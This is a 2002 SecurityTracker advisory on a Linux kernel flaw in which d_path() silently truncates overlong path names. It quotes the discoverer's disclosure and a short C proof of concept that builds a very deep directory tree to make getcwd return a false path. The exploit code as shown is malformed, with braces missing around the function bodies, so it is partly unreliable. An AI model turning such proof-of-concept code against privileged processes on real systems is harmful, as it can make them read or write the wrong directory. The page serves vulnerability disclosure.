Linux Kernel 'd_path' Truncation Flaw May Allow a Local User to Cause a Privileged Process to Operate on an Arbitrary Directory Path
|
|
SecurityTracker Alert ID: 1003893
|
|
CVE Reference: CAN-2002-0499
(Links to External Site)
|
Updated: Dec 3 2003
|
Original Entry Date: Mar 26 2002
|
Impact: Disclosure of system information, Modification of system information
|
Exploit Included: Yes
|
Version(s): up to 2.2.20 and 2.4.18
|
Description: A vulnerability was reported in the Linux operating system kernel. A local user may be able to trick a privileged process into thinking that it is operating with a different directory.
It is reported that the kernel d_path() function may return a truncated path name instead of an error value for long path names.
This function is apparently called by the getcwd(2) system call and the do_proc_readlink() function. User-space processes that
implement these calls may receive incorrect information regarding directory paths.
It is reported that that the d_path kernel
function resolves a string that is a concatenation of subsequent path components starting from the trailing path component into
a 'dentry'. The concatenated path name is apparently stored in a fixed-length buffer of PAGE_SIZE bytes. If a dentry points to
a path that exceeds PAGE_SIZE - 1 characters length, leading path components are not written to the buffer and function instead
returns truncated path without an error value, according to the report.
A local user may be able to cause a privileged process
to interpret that the proper directory name is an arbitrary directory.
A demonstration exploit is provided in the Source Message.
|
Impact: A local user may be able to cause a privileged process to interpret that the proper directory name is an arbitrary directory. The process may read or write to the wrong directory.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.kernel.org/ (Links to External Site)
|
Cause: Boundary error
|
Underlying OS: Linux (Any)
|
|
Message History:
This archive entry has one or more follow-up message(s) listed below.
|
Source Message Contents
|
Date: Tue, 26 Mar 2002 12:55:13 -0500
Subject: 0004.txt
|
This is a multi-part message in MIME format.
--------------99617ADBE4DECDD79DC06045
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
--------------99617ADBE4DECDD79DC06045
Content-Type: text/plain; charset=us-ascii;
name="1_0004.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="1_0004.txt"
Subject: d_path() truncating excessive long path name vulnerability
Name: Linux kernel
Version: up to 2.2.20 and 2.4.18
Homepage: http://www.kernel.org/
Author: Wojciech Purczynski <cliph@isec.pl>
Date: March 26, 2002
Issue:
======
In case of excessively long path names d_path kernel internal function
returns truncated trailing components of a path name instead of an error
value. As this function is called by getcwd(2) system call and
do_proc_readlink() function, false information may be returned to
user-space processes.
Description:
============
Linux is a clone of the operating system Unix, written from scratch by
Linus Torvalds with assistance from a loosely-knit team of hackers across
the Net. It aims towards POSIX and Single UNIX Specification compliance.
Details:
========
d_path kernel function resolves a string of absolute path name of a dentry
passed as an argument to the function.
The path is a concatenation of subsequent path components starting from
trailing path component. The concatenated path name is stored into a
fixed-length buffer of PAGE_SIZE bytes.
If a dentry points to a path that exceeds PAGE_SIZE - 1 characters length,
leading path components are not written to the buffer and function returns
truncated path without an error value.
Because getcwd(2) system call uses d_path() function, it may return
invalid path to the user-space process. However, if a returned path is
longer than user-space buffer a correct error value is returned.
readlink(2) system call called on proc filesystem uses do_proc_readlink()
function which is also vulnerable to d_path() bug.
Impact:
=======
Privileged process may be tricked to think it is inside of arbitrary
directory. Other scenarios are possible if readlink() is used on files on
proc filesystem (like "/proc/self/exe").
Exploit:
========
-----8<----- dpathx.c -----8<-----
/*
* 2.2.x/2.4.x Linux kernel d_path proof-of-concept exploit
*
* Bug found by cliph
*/
#include <unistd.h>
#include <stdio.h>
#include <limits.h>
#include <errno.h>
#include <paths.h>
/*
* Note: on Linux 2.2.x PATH_MAX = PAGE_SIZE - 1 that gives us 1 byte for
* trailing '\0'
*/
#define PATH_COMPONENT "123456789abcdef"
void err(char * msg)
if (errno) {
perror(msg);
exit(1);
}
int main()
char buf[PATH_MAX + 1]; /* think of trailing '\0' */
int len;
errno = 0;
chdir(_PATH_TMP);
err("chdir");
/* show CWD before exploiting the bug */
getcwd(buf, sizeof(buf));
err("getcwd #1");
fprintf(stderr, "CWD=%.40s\n", buf);
/* creating long directory tree - it must exceed PATH_MAX characters */
for (len = 0; len <= PATH_MAX; len += strlen(PATH_COMPONENT) + 1) {
errno = 0;
mkdir(PATH_COMPONENT, 0700);
if (errno != EEXIST)
err("mkdir");
errno = 0;
chdir(PATH_COMPONENT);
err("mkdir");
}
/* show CWD after exploiting the bug */
getcwd(buf, sizeof(buf));
err("getcwd #1");
fprintf(stderr, "CWD=%.40s... [stripped]\n", buf);
return 0;
-----8<----- dpathx.c -----8<-----
--------------99617ADBE4DECDD79DC06045--
|
|